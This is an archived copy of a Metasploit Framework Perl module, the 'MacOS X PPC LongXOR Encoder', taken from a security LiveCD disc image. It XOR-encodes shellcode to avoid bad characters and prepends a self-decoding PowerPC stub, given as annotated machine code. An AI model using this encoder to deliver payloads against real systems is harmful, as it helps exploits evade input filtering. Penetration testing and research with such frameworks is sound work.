home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / encoders / OSXPPCLongXOR.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  85 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Encoder::OSXPPCLongXOR;
  11. use strict;
  12. use base 'Msf::Encoder';
  13. use Pex::Encoder;
  14. use Pex::Encoding::XorDword;
  15.  
  16. my $advanced =  {};
  17.  
  18. my $info = {
  19.     'Name'    => 'MacOS X PPC LongXOR Encoder',
  20.     'Version' => '$Revision: 1.2 $',
  21.     'Authors' => [ 'Dino Dai Zovi <ddz [at] theta44.org>',
  22.                    'H D Moore <hdm [at] metasploit.com>' ],
  23.     'Arch'    => [ 'ppc' ],
  24.     'OS'      => [ 'osx' ],
  25.     'Description'  =>  "This is ghandi's PPC dword xor decoder with size tweaks by HDM",
  26.     'Refs'    => [ ],
  27. };
  28.  
  29. sub new {
  30.     my $class = shift; 
  31.     return($class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_));
  32. }
  33.  
  34. sub EncodePayload {
  35.     my $self     = shift;
  36.     my $payload  = shift;
  37.     my $badchars = shift;
  38.  
  39.     my $xor_key   = Pex::Encoding::XorDword->KeyScan($payload, $badchars);
  40.     my $xor_data  = Pex::Encoding::XorDword->Encode($xor_key, $payload);
  41.  
  42.     # Flip the key endian-ness
  43.     $xor_key = unpack('V', pack('N', $xor_key));
  44.  
  45.     my $encoder = pack("N*", 
  46.        0x7ca52a79,     # 0x1da8 <main>:          xor.    r5,r5,r5
  47.        0x4082fffd,     # 0x1dac <main+4>:        bnel+   0x1da8 <main>
  48.        0x7fe802a6,     # 0x1db0 <main+8>:        mflr    r31
  49.        0x3bff07fa,     # 0x1db4 <main+12>:       addi    r31,r31,2042
  50.        0x38a5f84a,     # 0x1db8 <main+16>:       addi    r5,r5,-1974
  51.        0x3cc09999,     # 0x1dbc <main+20>:       lis     r6, hi16(key)
  52.        0x60c69999,     # 0x1dc0 <main+24>:       ori     r6,r6, lo16(key)
  53.        0x388507ba,     # 0x1dc4 <main+28>:       addi    r4,r5,1978
  54.        0x7c8903a6,     # 0x1dc8 <main+32>:       mtctr   r4
  55.        0x809ff84a,     # 0x1dcc <main+36>:       lwz     r4,-1974(r31)
  56.        0x7c843278,     # 0x1dd0 <main+40>:       xor     r4,r4,r6
  57.        0x909ff84a,     # 0x1dd4 <main+44>:       stw     r4,-1974(r31)
  58.        0x7c05f8ac,     # 0x1dd8 <main+48>:       dcbf    r5,r31
  59.        0x7cff04ac,     # 0x1ddc <main+52>:       sync
  60.        0x7c05ffac,     # 0x1de0 <main+56>:       icbi    r5,r31
  61.        0x3bc507ba,     # 0x1de4 <main+60>:       addi    r30,r5,1978
  62.        0x7ffff215,     # 0x1de8 <main+64>:       add.    r31,r31,r30
  63.        0x4220ffe0,     # 0x1dec <main+68>:       bdnz-   0x1dcc <main+36>
  64.        0x4cff012c,     # 0x1df0 <main+72>:       isync
  65.     );
  66.  
  67.     my $icount = (length($payload) / 4);
  68.     
  69.     # patch the payload length
  70.     substr($encoder, 30, 2, pack('n', 1974 + $icount));
  71.     
  72.     # patch the xor key (high and low)
  73.     substr($encoder, 22, 2, substr(pack('N', $xor_key), 0, 2));
  74.     substr($encoder, 26, 2, substr(pack('N', $xor_key), 2, 2));
  75.  
  76.     if (Pex::Text::BadCharIndex($badchars, $encoder) == -1) {
  77.         return $encoder.$xor_data;
  78.     }
  79.  
  80.     $self->PrintDebugLine(3, "BadChars found in encoder: ". Pex::Text::BufferPerl($encoder));    
  81.     return;
  82. }
  83.  
  84. 1;
  85.